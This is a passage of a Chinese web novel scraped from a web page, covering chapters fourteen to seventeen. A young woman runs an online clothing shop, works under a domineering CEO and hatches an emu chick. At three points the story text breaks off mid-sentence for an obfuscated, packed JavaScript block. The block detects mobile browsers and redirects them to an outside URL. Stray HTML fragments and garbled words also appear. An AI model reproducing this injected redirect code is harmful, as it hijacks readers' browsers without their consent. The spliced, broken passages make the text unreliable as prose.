工作室有个房间,专门陈列库存。白小飞答应了,梁絮又说:“咱们得把以前的那个网店重新开起来,客服咱俩暂时顶着,反正白天我坐班也没事。” 白小飞说:“好。” 梁絮打开手机给他看,一边说:“微信我也申请店铺了,白天我还顺手在回响也申请了个网店。这几天咱俩辛苦一下,给衣服拍照、上货,争取在十月份之前把这三个店运营起来。” 白小飞为难地说:“找模特儿挺贵的啊。” 以前他们还从外头找模特,如今实在缺钱,能省的地方还是得尽量省。梁絮说:“那怎么办?我当模特,你能摄影吗?” 白小飞其实就是这么想的,听她主动提出来了,说:“没问题,找块大白墙就能拍。你身材这么好,又有气质,比模特可强多了。” 梁絮还是挺喜欢被人夸的,听他这么说,浑身充满了干劲儿。 她起身出门,在一间空房里收拾出一面墙来,从自己屋里挪了个植物架子,上头放着几盆绿萝,又在旁边放了一盆仙人掌。白和绿色跟黑色的金属搭配着,看起来有点ins风格的感觉。 她对着镜子补了个妆,鼻梁打上高光,颧骨下打修容,涂上裸色口红,给自己画了个自然的日常妆,又拿卷发棒把垂在肩上的发梢卷起来,打理出一个蓬松的梨花头,把一边的头发别在耳后。 她的气质本来就明朗利索,这么一收拾,更有一种职场白骨精的感觉。 白小飞拿来了数码相机,又把从前玩摄影时买的反光板和灯挪了过来。 梁絮画好了妆,显得分外明艳,白小飞忍不住多看了几眼。梁絮拨了拨头发,说:“好看吗?” 白小飞笑了,心悦诚服地赞美道:“好看,不愧是我的臭宝。” 梁絮就喜欢被人说自己好看,哼着歌去隔壁换衣服。她穿上了自家品牌的衬衫和裤子,先拍了几张照片热了一下身。 白小飞从大学的时候就喜欢摄影,各种镜头买了不少,一说起摄影技巧、器材数据来头头是道的。梁絮对此一窍不通,不过她见过他拍的照片,印象很深刻。清晨一只蝉趴在树干上,露珠挂在叶梢上,将坠未坠。他捕捉到了那个瞬间,仿佛大自然的气息冲破画面迎面而来,很有灵气。 白小飞拍了几张,梁絮凑过去看,发现拍的不错。她换了几件衣服,有西装,也有连衣裙。 闪光灯对着梁絮狂闪,白小飞头上的蓝色光团也闪来闪去,梁絮怀疑他的好感度一直在涨,感觉这样不行,说好的亲发小,不能把感情搞变质了。 她看了一眼表,夜里十二点多了。她打了个呵欠说:“不行了,明天还得上班。” 白小飞有点歉意,说:“拍起来就把时间忘了,你休息吧。” 梁絮去卸了妆,累的不行,倒在床上没多久就睡着了。她做了个梦,梦见自己的网店双十一销量直冲第一,沈钊亲自给她颁发了个锦旗,上书八个大字:“商业精英,妇女领袖。” 小白在下头带着一群人鼓掌,大声叫好。沈钊亲自拿着话筒,毕恭毕敬地对她说:“能请您谈谈成功的经验吗?” 梁絮终于找到了机会反杀沈钊,趾高气昂地说:“其实也没什么,就是勤奋、努力,再加上一点点商业天赋,别气馁,只要努力,你也可以的。” 她说着拍了拍沈钊的肩膀,霸气十足。沈钊则是一脸受宠若惊的模样,说:“好的梁总,我一定以您为榜样,努力进取!” 梁絮沉浸在梦里,呵呵傻笑,美得不行。然而没过多久,她就被闹钟叫醒了。她睁眼看着天花板,花了一段时间才意识到刚才只不过是在做梦。想要让沈霸霸给自己提鞋,下辈子也不可能。 她吃过早饭,戴上昨天从地摊上买的计步器,撒腿往公交车站跑。 天蒙蒙亮,街上的人不多,已经有勤奋的工蜂开始为了新的一天努力了。梁絮像沙丁鱼一样挤在车上,看着路边的一间房产中介门前站了一排人,经理带着他们手舞足蹈,一群人神情投入,信仰坚定,好像在跳大神。 梁絮噗的一声笑了。旁边有人好奇地说:“那干嘛的?” 梁絮说:“跳抓钱舞。” 她大学刚毕业那阵子被同学拉去听过保险课,导师讲完课,就带着员工跳抓钱舞,激励大家的斗志。 这套武功简单易学,口诀她至今记忆犹新。第一式伸展运动,双腿跨立跟肩齐平,左手高举过肩,抓。右手高举过肩,抓。第二式海底捞月,双手从左到右一个大回环,然后反方向来一下,充分感受淘金的快感…… 她在脑内回放了一遍,感觉当广播体操做不错的,既能锻炼身体,又能增厚脸皮。反正她闲着没事,不如捡起来练着。 片刻她赶到了沈钊的家。沈钊今天依旧像金毛一样待在门口,不时低头看表,显然是在等她。 他见了梁絮,像个堵在校门口查迟到的教导主任一样,大声道:“六点五十九,梁顾问,你还有十秒钟就迟到了,八秒,七,六……” 迟到了要扣一百块。梁絮眼都红了,拿出吃奶的劲儿冲进院子,终于在最后一秒钟赶到了。她瘫在地上直喘气,沈钊哈哈直笑,说:“这不是挺能跑的嘛。” 梁絮感觉心脏咚咚地跳,低头看计步器,发现自己的心率达到了一百零三,从家里到这边走了一万两千多步。她觉得沈钊的这种斯巴达式的锻炼太摧残身体了。跟着他的这段时间里,自己的体型被迫从符合亚洲审美的苗条型往欧美崇尚的健美型转化,胳膊小腿上都是肌肉。往他身边一站,俩人都雄赳赳气昂昂,一头公狮子,一头母狮子。 “结实点挺好的,”沈钊仿佛能解读梁絮的想法似的说,“女孩子多锻炼有好处,歇够了吗?跟我一万米走起。” 梁絮快哭了,然而为了挣钱,还是得打落牙齿往肚子里吞。 今天沈钊还算体贴,没有野狗狂奔,而是选择了轻松慢跑。俩人跑出了小区,见李浩拿着豆浆和油条回来了。沈傲天意气风发地抖了抖他的鬃毛,吹了个口哨说:“要加入我们吗,少年?” 李浩拒绝了他的组队邀请,同情地看着梁絮,说:“你们跑吧,我还没吃饭呢。” 走出去一段路,李浩又回头看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14309957|152335||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们的背影,自语道:“不对啊,不是说当形象顾问吗,怎么改运动陪练了?” 俩人跑到了附近的公园,沈钊照旧买了两瓶饮料,坐在长椅上休息。 梁絮锻炼过度,肌肉异常疼痛,想想还要跑回去,简直要了她的亲命。沈钊见她龇牙咧嘴的,善解人意地说:“乳酸堆积了吧?持续有氧运动,今天慢跑这一圈下来,明天症状就减轻了。” 梁絮不信他的鬼话,嘴角抽搐地笑了一下。沈钊回头看了她一眼,说:“你站着干什么?” 梁絮觉得他身家几个亿,自己一个小小的陪练,跟他坐在一起不合适,于是本分地站在旁边。沈钊拍了拍身边的空位,说:“坐。” 梁絮不敢拒绝沈傲天的邀请,如坐针毡地坐在了他的旁边,怀疑他一会儿肚子饿了就会把自己吞了。早晨八点钟,凉风吹在两人身上,把汗水浸透的衣服吹得透心凉。 梁絮打了个哆嗦,又觉得挺凉爽的。她用袖子擦了擦头上的汗,偷偷看沈钊,见他轮廓棱角分明的,又充满了运动气息,真的是挺帅一男的。 沈钊注意到她在看自己,说:“让你买的运动装备呢?” 梁絮说:“发货了,今天就能到。” 沈钊嗯了一声,从口袋里掏出一块手绢,扔到她膝盖上,说:“别用袖子擦汗,还是处女座,这么邋遢。” 梁絮十分不好意思,捡起手绢来擦了脸,说:“我洗干净了还给您。” 沈钊没什么兴趣地站起来,说:“不用了,你自己留着使吧。” 手绢上有淡淡的古龙水味,边角绣着个大H的logo。梁絮蹭到了一块名牌手绢,心情顿时好了起来,觉得他虽然看起来粗糙,其实有时候也挺会关心人的。 两人跑回住处,沈钊去冲了个淋浴,出来裹着一件白色的浴袍。梁絮正坐在沙发上玩跳一跳,见沈钊看着自己,表情有点困扰,欲言又止。 梁絮站起来说:“沈总,有吩咐吗?” 沈钊说:“你给我买的内裤,怎么会掉色的?” 梁絮没明白过来,呆滞道:“啊?” 沈钊一脸抓狂地说:“我出去跑了一圈,腰上掉的都是黑色!你要不是个女的,我真得脱下来给你看看,搓了半天都搓不下来!不但掉色还脱线,到底怎么回事?” 他扬起被染料弄黑的手掌,委屈地展示新内裤卓越的掉色能力。梁絮想象了一下他臀部的情况,悄悄地掐了自己大腿两下,花了九牛二虎之力才能保持住自己的表情管理不崩。 她买的假大牌十块钱两条,掉色是正常现象,脱线也很正常。她尽量淡定地说:“您以前穿过这个牌子吗?” 沈钊说:“没有。” 梁絮松了口气,心想:“没有就好办了。” 她痛心疾首地跟着沈钊一起谴责道:“现在的奢侈品,真的是太敷衍消费者了。要不然以后咱们改穿国产大牌,肯定舒适透气不掉色。” 沈钊也没什么办法,心烦地说:“给我把没开封的那些退掉。” 梁絮心想:“你那笔钱我给你交了心理治疗费,怎么退?治病重要啊亲!” 她说:“这种直接接触身体的东西,都是不退不换的。” 沈钊不服,掏出手机来问siri内裤能不能退。Siri冷淡地给他读了一段百度百科,为了您和其他消费者的健康考虑,贴身衣物一经售出,不退不换。 梁絮说:“黑的都给您扔了,白的要不凑合着穿?” 沈钊不想在一块石头上绊倒两次,绝情地说:“黑的白的都给我扔出去,这些钱当我打水漂了,别掉我一身染料我就谢天谢地了。” 梁絮立刻去收拾没开封的那些内裤,心里觉得挺对不起他,决定回家给他亲手做几条高级定制的内裤作为补偿。 想到沈傲天即将穿上自己亲手做的内裤,她居然生出了一点慈母的心情。给他做发型的时候,她摸着他的脑袋,特别多戳了几下他头上的那个金色的史莱姆。 15. 第十五章 吹完了头发,沈钊说:“今天有个会议,给我收拾的正式一些。” 既然他自己这么主动要求了,梁絮就给他拿了最规矩的黑西装和白衬衫。沈钊不满地看了她一眼,梁絮想起了他的骚包本性,知道他说的正式也没有常人理解的那么低调,总得在细节上表现出他的与众不同。 她只好把白衬衫收了回去,换了一件暗紫的缎面衬衫打底,白色波点领带。 沈钊穿上衬衫,把领带挂在脖子上扯来扯去,费了半天劲儿系了个少先队员结,然后扯着下半截皱眉说:“怎么这么长?” 梁絮:“……” 她虽然对直男的笨拙有一定的心理建设,但没想到他能笨到这种程度。她反过来一想,他要是会了,还有自己什么工作的余地?于是豁然开朗,他的笨拙也变成了能给自己产生金钱的闪光点。梁絮露出礼貌的微笑,彬彬有礼地说:“我来帮您吧?” 沈傲天默许了,梁絮解开领带,重新系了一遍。粗的一端搭在细的一端,绕一圈,扯过去在另一端再绕一圈。梁絮的手指修长灵活,做这种细致的活儿很好看。她系完了,又整理了一遍,说:“好了。” 沈钊正垂眼看着她。两人四目相对,沈钊笑了一下,眼神难得有点温柔。 梁絮觉得这样有点不对劲,离他太近了,好像靠在他怀里似的。成熟男人的荷尔蒙不知不觉地发散开来,把她包裹在其中。 梁絮不想跟他搞暧昧,脸微微发烫,后退一步,把镜子让给他。 灯光照在绸缎衬衫上,泛着布灵布灵的光,显得挺闷骚的。沈钊忘却了内裤给他带来的困扰,穿上西装外套,说:“很好,给你加鸡腿。” 白天梁絮去公司坐班,她坐在办公桌前打开系统,发现里头积攒了大量的未读提示:沈钊好感加十,沈钊好感加五,白小飞好感加五,缝纫熟练度加一…… 梁絮发现沈钊这人还挺领情的,自己只要工作做得好,他的好感就蹭蹭往上涨。她一口气把积攒的好感度全部兑换成生命值,系统显示她目前总共有四十二天时间。 梁絮松了口气,头一个月到了她还能拿两万块工资,根据日常赚钱的任务,两万除以一千,又是二十天的存活期,以后光靠工资交日常任务都能混过大半个月去了。 梁絮感觉自己已经全面适应了这个系统,进入了良性循环,每天都过得从容不迫。生存已经不是她面临的最大问题了,赚钱才是真正的难点。 她打开网店,发现小白开始给店铺陆续上货了。 他们以前在某猫有旗舰店,还挺高大上的,然而微信店铺和回响的店铺都是光秃秃的,急需发展建设。梁絮感觉自己像个拿着锄头站在荒山上的农民,眼里是黄土地,心里是万顷果树林和蔬菜田,充满了乐观昂扬的斗志。 店铺里的客服只有小白和小絮两个人。梁絮下了个旺旺,打算以后带个无线耳机藏在头发里,这样上班时间也能摸鱼充当客服。 下午沈钊有个合同要签,带着刘和平出去开会。 梁絮想起做内裤的事,于是估量着他的身材,用电脑给他打版制图,准备给他做几条莫代尔的内裤。 她正在制版,办公室的电话响了。徐莉莉接起来,跟那边聊了几句,面露难色道:“哎呀,我这边忙着呢,走不开。谁让你不好好检查,这么大人了,犯这种低级错误……” 那边说了一阵子,徐莉莉冷淡地说:“我没空给你送,那谁闲着呢,要不然让她去一趟吧。” 挂了电话,徐莉莉道:“哎,小梁。” 梁絮心想:“干嘛,平常老是新来的长新来的短地叫我,这会儿要用我了,知道我姓什么了?” 徐莉莉说:“小刘说合同有份文件遗漏了,让你带过去。我这边走不开,让人给你准备辆车,麻烦你跑一趟了。” 梁絮觉得这事怎么样也轮不到自己管。她皱眉道:“这不是你们秘书的活儿吗?” 徐莉莉破天荒冲她笑了一下,说:“拜托你了。这文件对沈总很重要,要是不送过去,咱们这屋里的三个人都要挨骂的。” 梁絮见她态度难得不错,有点心软,于是答应了。徐莉莉找了一圈,翻到了文件,拿来递给梁絮。梁絮出了门,等了片刻,一辆车开过来,接她去送文件。 一路上断断续续堵了几个红绿灯,梁絮坐在后座,有些不安。徐莉莉说最晚两点钟之前要送到。梁絮看表,已经一点五十了。 终于到了开会地点,梁絮抱着文件夹百米冲刺,跑进办公大楼。刘和平等在大厅里,见她来了,连忙接过去,说:“可算来了……两点半开会,赶不上了。” 他说着拔腿就跑,进电梯走了。梁絮完成了任务,转身坐车回了公司。 傍晚五点多,刘和平打电话回来,说:“先别下班,沈总让咱们办公室的人等一会儿。” 梁絮和徐莉莉只好不动了,梁絮说:“他要干嘛?” 徐莉莉玩着指甲,了然地说:“要挨训了吧。” 梁絮觉得这不关自己的事,完全是无妄之灾。半小时后,沈钊回来了。他甩下公文包,小刘一脸倒霉地跟在他后面,看来已经挨过骂了。沈钊扯了个凳子坐在三个人中间,一脸心气不顺的模样。 “知道今天怎么回事吗?几千万的生意,差点砸在你们手里!”他严肃地说,“去签合同没带齐文件,干嘛去的,串门啊?” 沈钊的脸色铁青,像是个随时会爆的炸药桶。三个人都噤若寒蝉,低头听训。 “一点集体主义精神都没有,三个人都有问题!” 沈钊对刘和平道:“首先是你,丢三落四的,你跟着我好几年了,怎么会犯这种低级错误?高考你也忘带准考证啊?” 小刘低头道:“沈总对不起。” 沈钊又对梁絮道:“你送文件迟到,也有过错。” 梁絮挺冤枉,说:“本来就不是我的活儿,我是帮忙……” 沈钊脸一沉,伸手重重地敲了一下桌子,道:“什么叫帮忙?公司的事不是你的事?工作传到你手上,你就得负责任!” 梁絮气得要命,心想:“又不是我想堵车的。给你跑腿还要被骂,早知道还不如一开始就拒绝了。” 沈钊又对徐莉莉说:“遇事推诿,作壁上观,你那活儿有多重要啊?” 徐莉莉眼一红,一副楚楚可怜的模样说:“对不起,沈总,我特别愧疚。以后我一定主动承担工作。” 沈钊见她这样,有火也发不出来了。他皱了皱眉头,说:“今天属于工作上出现重大失误,你们三个人每人写一篇检查交上来,工资每人扣一百。” 小刘没什么好说的,徐莉莉低着头,一副泫然欲泣的模样。只有梁絮是个铁血耿直girl,心里极度不满,撇着嘴一副不爽的表情。沈钊看了她一样,说:“怎么,你不服气啊?” 梁絮道:“不服。” 沈钊冷漠道:“不服憋着。” 梁絮:“……” 沈钊道:“等你到了我这个位置,才有资格跟我说不服。顶撞上司,再扣一百。” 梁絮:“……!!” 她这回是真想哭了,扣这么多,那她这么长时间就白干了。她又气又急,还想辩解,小刘悄悄地扯了她一把,示意她闭嘴算了。沈钊冷冷道:“再啰嗦就开除。” 梁絮觉得太委屈了,然而没办法,为了生存还得忍。老板在外人面前丢了脸,员工就要当沙包给他发泄,挨完怼还得谢恩,要不然以后连挨怼的机会都没了。 梁絮憋了一肚子气,深感成年人的世界难混。沈钊发完脾气,大摇大摆地走了。小刘这才开口道:“对不起,我连累你们了。要不然我请你们吃饭吧?” 徐莉莉站起来说:“没心情,给我记账吧。” 徐莉莉走了,梁絮依旧坐着没动。刘和平过来说:“你也要记账吗?” 梁絮抬起头,目光灼灼充满愤恨,坚定地说:“不要,今天我就吃,我得吃回本来。” 小刘笑了,说:“好吧,想吃什么?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14309958|152335||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>出了办公大楼,两个人站在路口四下张望。梁絮往前一指,说:“就那儿吧。” 两人坐在麦当劳里,梁絮点了个金拱门桶,搭配加冰的大号可乐。小刘为了省钱,只要了个薯条。 梁絮觉得他这样太凄凉了,于是去要了个空杯子,把可乐倒给他一半,椒盐鸡翅也跟他对半分了。小刘啃着鸡腿,长舒了一口气,说:“谢啦。” 梁絮说:“是你买单,谢我干什么。” 小刘道:“那我也挺高兴的,上次我吃麦当劳都是去年的事了。” 梁絮感觉遇到了同类,贫穷的触角探了出来。她试探道:“你工资挺高的吧?这么节省干什么?” 小刘道:“我得买房啊,我去年刚交了首付,每个月都得还八千,剩下的钱就够吃白菜的了。” 梁絮同情地点头,说:“娶媳妇了?” 小刘说起这事还挺高兴的,说:“嗯,去年十一结的婚。” 他说着掏出手机来,给梁絮看他媳妇的照片,长头发大眼睛,是个挺漂亮的姑娘。他说:“她是个幼师,特别温柔。你结婚了吗?” 梁絮想起了自己失败的感情经历,愁上心来,低头闷了一口可乐,摇了摇头。小刘还是挺体贴的,见她不开心,便没深入问。 他说:“沈总其实挺好的。我从他创业的时候就跟着他了,这人特别讲义气,对手下很好。以前我们吃不上饭的时候,他借钱也要给我们发工资。那时候我们老是在出租屋里吃咸菜啃馒头,那时候就幻想,以后有了钱,就搞个自助食堂,大家想吃什么就吃什么。” 梁絮恍然大悟,忍不住笑了,说:“现在实现了,感觉怎么样?” 小刘笑了笑,说:“挺高兴的。公司剪彩的那天,大家都哭了,觉得总算熬出头了。那天看到的全是我们做梦都在想的情景,大家伙儿跟着他一步步地努力,居然就实现了。我那天就想,只要他不嫌弃,我就跟他一辈子!” 他说这话的时候,眼里好像有光,仿佛夜色中的航船得到了灯塔的指引,对沈钊既崇拜、又依赖。 他说:“钊哥真的特别好,你别生他气。” 梁絮多少也能体会到小刘的那种感情。她想起自己也是什么都没有,沈钊大方地接纳了她,平等地对待她,让她摆脱了从前的那种迷茫的人生。她感慨道:“他确实很好。” 小刘作为过来人,好心地说:“钊哥说的没错。工作上的事就像接力棒,传到谁手上谁就得负责。千万别当烂好人,做不到的事一开始就要拒绝。一切工作的传达必须到位,收到要回复,发送文件记得留底,别把同事当朋友什么都说……职场上的弯弯绕太多了,你慢慢学,但吃一次亏得涨一次教训。” 梁絮觉得他心眼儿挺好,有点感激,却又道:“不能把同事当朋友,那你干嘛跟我说这么多?” 小刘搔了搔鼻尖,说:“我觉得你没那么多心眼儿,不提点看着都担心。” 梁絮便笑了,说:“好吧,那我就领你这个情。” 两人吃完了东西,出门往外走。小刘想起白天的事还有点耿耿于怀,自言自语道:“我记得明明检查过的,怎么会忘带那份文件呢……” 梁絮道:“你确定?” 小刘歪着头想了想,说:“应该是吧,真是怪了。” 梁絮跟刘和平聊完,心里没那么堵了,然而被扣钱还是挺不爽的。她回到家,没精打采地进了门,说:“我回来了。” 白小飞听见声音,立刻冲出来,眉飞色舞地说:“你回来啦!我给你看个好东西!” 梁絮见他一脸兴奋,不知道怎么了。白小飞不由分说,扯着她进了他的房间,捂住了她的眼睛,说:“给你个惊喜,三,二,一——” 梁絮在一片黑暗中,听见有一阵微弱的叽叽声。她满脑袋问号,把白小飞的手扯了下来,说:“干嘛?” 她面前的鸸鹋蛋破了。下半截蛋壳里,有一团小东西动来动去,身上的毛湿漉漉的,对着她叫道:“叽……叽叽!” 16. 第十六章 一只小鸸鹋动了几下,拱掉了身上的一块蛋壳。 梁絮:“……啊啊啊啊!” 白小飞:“孵出来了!” 俩人都激动的不行,扑上去围着鸸鹋,两双眼睛灼灼地盯着那个小家伙。鸸鹋刚出生就有模有样的了,眼睛又黑又亮,长脖子,身上长着一层羽毛。有点像鸵鸟,又像一只带着条纹的长筒袜。 白小飞搓着手,兴奋的不知所措,说:“我当爸了!” 梁絮也兴奋道:“我当妈了!” 白小飞对着小鸟告状道:“宝贝,叫爸爸!是我把你孵出来的!她差点就把你扔了,你说她坏不坏!” 梁絮有点心虚,辩白道:“当着孩子你说什么呢!别胡说啊!” 白小飞哈哈笑道:“胡说的是狗!” 梁絮不搭理他了,挤到小鸟跟前说:“叫妈妈!” 小鸸鹋:“叽。” 白小飞说:“叫爸爸!” 小鸸鹋:“叽叽。” 梁絮不服输道:“别叫他,叫妈妈!” 小鸸鹋:“叽叽。” 白小飞本来跟她抢宠物,争了几句之后忽然沉默下来了,脸色微红。 梁絮奇怪地看了他一眼,忽然意识到一个爹,一个妈,这样说很有问题,于是也尴尬地闭嘴了。白小飞站了起来,转移话题地说:“我给它找点东西吃,它吃什么?” 梁絮上网搜了一会儿,说:“跟一般走地鸡一样,吃谷物和虫子吧。” 白小飞便打算去厨房找点粮食来,他刚走开几步。小鸸鹋挣扎了几下,忽然奋力站了起来,东倒西歪地跟着他走,一边叫道:“叽叽!” 白小飞十分惊讶,说:“这就会走了?” 他走一步,小鸟跟一步。他转身,小鸟也跟着,走了几步腿一软,啪叽坐在了地上。白小飞哈哈大笑,说:“好可爱!” 梁絮吃味儿地说:“看来它把你当成妈了。” 白小飞道:“为什么啊,我长得像走地鸡吗?” 梁絮道:“生物本能吧,我记得叫印随的,鸟类会把第一眼看到会动的生物当成母亲。” 白小飞挺高兴,抓了一把小米,又拿了两个小碟子,一个装水,一个装米。他拿食物喂了小鸸鹋,盘腿坐在地板上,一手托腮,歪着头看他的宝贝疙瘩。 他说:“得给它起个名字,你看他这一身毛,灰扑扑的……” 梁絮贫嘴道:“那就叫它二狗子好了。” 白小飞谴责地看着她,梁絮道:“赖名好养活嘛。” 白小飞不理她这茬,认真地说:“就叫它……嗯,灰崽好了。” 梁絮:“……” 她心里吐槽道:“这名字又比二狗子文雅多少了?” 白小飞轻轻地摸着灰崽的背,怕吓着它,只用两根手指轻轻地捋。小灰灰抬起头来,对着他叽叽地叫,白小飞回应地对它吹了个口哨,好像会鸟语似的。小灰灰对他叫的更欢了,还主动把脑袋往他手心里扎,又乖又萌。 梁絮简直要被萌死了,觉得真是要感谢白小飞没放弃这颗蛋,他给自己带来的惊喜太大了。 白小飞抚摸着灰崽,眼里透着温柔,侧脸特别宁静好看。 他轻声说:“小家伙,欢迎来到这个世界。” 梁絮看着他温柔的模样,觉得他若是真的有孩子,一定会是个好父亲。 白小飞拿纸盒子垫上几件旧衣服,给小灰灰做了个窝,把它放了进去。小灰灰站在窝里,伸直了脖子到处张望,一个劲儿地叫。晚上关灯睡觉的时候,小灰灰还不安地直扑棱。 白小飞躺在床上,安慰地吹了个口哨。 灰崽:“叽叽。” 白小飞:“啾。” 灰崽:“叽。” 白小飞:“啾。” 梁絮在工作间加班,听着隔壁的人鸟对话,觉得挺有意思的。过了一会儿声音越来越小,应该是都睡着了。 梁絮坐在缝纫机前,打算再加一会儿班。她决定了要给沈钊做内裤,就得抓紧办到,要不然这么大个总裁,天天穿着掉色的内裤,这么私密的事都没处说理去,太可怜了。 她怕掉色,这回全用白色的莫代尔,裁剪处包边,接缝处车两条线,用高档宽边松紧带,保证舒适结实,如空气一般透气丝薄,让他从此远离尴尬。 她干活儿的时候,想起白天小刘说过的话,觉得沈钊的确是一个很有人格魅力的人,既有踏实平等接地气的一面,又有豪情万丈激情澎湃的一面,能让手下心甘情愿跟他一辈子,就连自己也没办跟他生气太久。 就这一会儿功夫,她想起给沈钊系领带时的情景,心就柔软下来了。他的轮廓坚硬,情感却有着恰到好处的温度。 梁絮一晃神,好像闻到了他头发上湿漉漉的气息,还有他身上沐浴露的味道。他的呼吸从她的头顶擦过去,近的让人心乱。梁絮的脸渐渐发烫,干活的动作迟缓下来,针头差点扎到了自己的手。 夜风透过窗户拂进来,窗帘被吹得不住翻飞。外面是无边夜色,一轮圆月在云雾中若隐若现。 长夜安稳,多所饶益。 梁絮的祖父是个老教师,古籍读的多,常会说些很美但是她听不懂的话。祖父说:“现在听不懂没关系,以后长大了,你就懂了。” 梁絮本来以为自己一辈子都不会明白的话,忽然在想起某个人的瞬间,一下子就体会到了它的意境。 祖父说过,每个人出生的时候,都有属于他星辰的排列。有善有恶,有的和谐,有的则充满了冲突和矛盾,有的力拔千钧波澜壮阔,有的则温柔得如诗如画。 她本来是不信的,如今却忍不住抬头看夜空,想知道像沈钊那样的人,出生的时候,星辰是怎样排列的? 这么美的夜晚,想着这么苏的人,真的让人的少女心泛滥。只可惜她手头上正在做的事情,实在很煞风景。 她低头看着堆积成山的内裤,觉得自己想太多了,这么花痴简直不像自己。像他那么优秀的男人,周围的人会对他生出好感是很正常的。梁絮觉得自己又不是灭绝师太,对他小小地肖想一下也不算重大错误。 她自言自语道:“……毕竟是投票选出来的年度想嫁TOP10呢,无论是模样、财富还是性格都无可挑剔。这么好的男人,不知道以后会便宜了哪个兔崽子……唉,咱们这种灰姑娘也就想想算了。” 她一口气做了二十条内裤,一股脑地扔进洗衣机里杀菌消毒。忙完之后,她看了眼表, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14309959|152335||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已经夜里一点多了。 梁絮打了个呵欠,倒在床上,一边想:“你扣我钱,我还给你缝内裤到深夜,简直是上辈子欠了你的!听过那首诗嘛,慈母手中线,游子身上衣……你这个不孝子,就知道扣老母亲的工资,你还有什么别的技能使出来啊……” 她迷迷糊糊地想着,不知不觉睡着了。 次日一早,她起来把内裤晾干,打算晚上回来高温熨烫定型,给他包装的像样一点再送出去。一整个阳台上晾的都是白色的男士内裤,情形极其壮观。 白小飞起床了,茫然地看着她说:“干嘛呢……咱们没有内衣的生产线吧?” 梁絮被他提醒起来了,说:“我这不是做一点试试嘛。网店里男女款内裤都上货,十块钱一条,你觉得怎么样?” 白小飞打量了一眼,说:“可以是可以……不过这些都是一个尺码的,还是男款的,针对性太强了吧?你这是,给谁做定情内裤呢?” 梁絮:“……” 她没想到白小飞的眼神这么毒,一时有些无语凝噎。白小飞看她的表情就知道自己猜对了,说:“给你那个霸道总裁做的?怎么不给他买啊?你都没给我做过好吗!” “我都没给自己做过!”梁絮道,“我这不是……为了省钱吗。” “他不是给你信用卡了吗,给他省什么钱啊?”白小飞说。 梁絮觉得一言难尽,说:“反正挺复杂的,你就相信我是出于良心和关爱这么干的就对了。” 白小飞沉默地看着她,觉得她净扯淡。梁絮穿着睡衣看了眼表,发现还有时间,于是站在客厅里,开始锻炼身体。 白小飞见她左手一个大回环,右手一个大回环,双手不停抓来抓去,感觉她这才上了几天班,行为越来越诡异了。他操心地说:“你干嘛,鬼上身啊?” 梁絮道:“抓钱舞,你也一起来,激励一下斗志!” 白小飞嫌丢人,说:“我不跳。” 梁絮强行把他拽过去,伸手挥来挥去,一边大声报出武功招式:“手可摘星!——探囊取物!——分花拂柳!——天人合一!” 白小飞觉得太羞耻了,根本不愿意配合,一直试图挣脱逃跑。反而是他的走地鸡被吵醒了,跟着他跳来跳去,奋力地扑着翅膀,参与感特别强。 梁絮道:“你看看,人家小灰灰都比你有热情eonbaby!跟上我的节奏!” 白小飞发现灰崽是挺激动的,但似乎是担心他被梁絮折腾散了架,一直围着他俩打转,试图拿嘴啄梁絮。 白小飞连声道:“别踩着它!” 梁絮大大咧咧地说:“怕什么,它自己知道躲!” 一套武功练完,梁絮把灰崽抱起来亲了一口,说:“怎么样宝贝,High不high?” 灰崽:“叽。” 梁絮满意地说:“你现在还太小,等你长大了,我带你去夜店。灯一关放上音乐,比这刺激多了。” 白小飞:“……有你这么教育孩子的吗?” 梁絮把灰崽晃了两下,哼道:“音浪~太强,不晃会被震到地上!” 白小飞把他的崽子抢了过去,一副防怪阿姨似的表情看着梁絮。梁絮哈哈地笑着刷牙去了。 17. 第十七章 六点五十,梁絮赶到了沈钊的住处。 今天霸道总裁不打算跑步,而是去游泳了。梁絮便去帮他整理衣帽间,七点半,沈钊冲完澡回来了。他沉默着坐在梁絮面前,没打算跟她说话。 梁絮一见他就想起昨天被批评的事,心情有点低落,也不想主动高攀他。 她给沈钊做了个发型,然后拿了件花里胡哨的豹纹衬衫搭配牛仔裤扔给了他。 沈钊发现她今天还挺上道的,觉得自己的审美终于把她同化了,说:“今天怎么这么懂事?” 梁絮心里翻了个白眼,想:“我今天是懒得跟你争,敷衍你罢了。” 沈钊穿上衬衫,伸出胳膊,示意梁絮过来给自己系袖口。 梁絮假装没看见,转身去收拾洗手间了。 沈钊本来想着她要是过来给自己系扣子,他就跟她和好,甚至还可以找个借口夸她两句,把扣掉的二百块钱还给她。然而梁絮最近涨了脾气,不为二百块折腰,硬是不来讨好他。 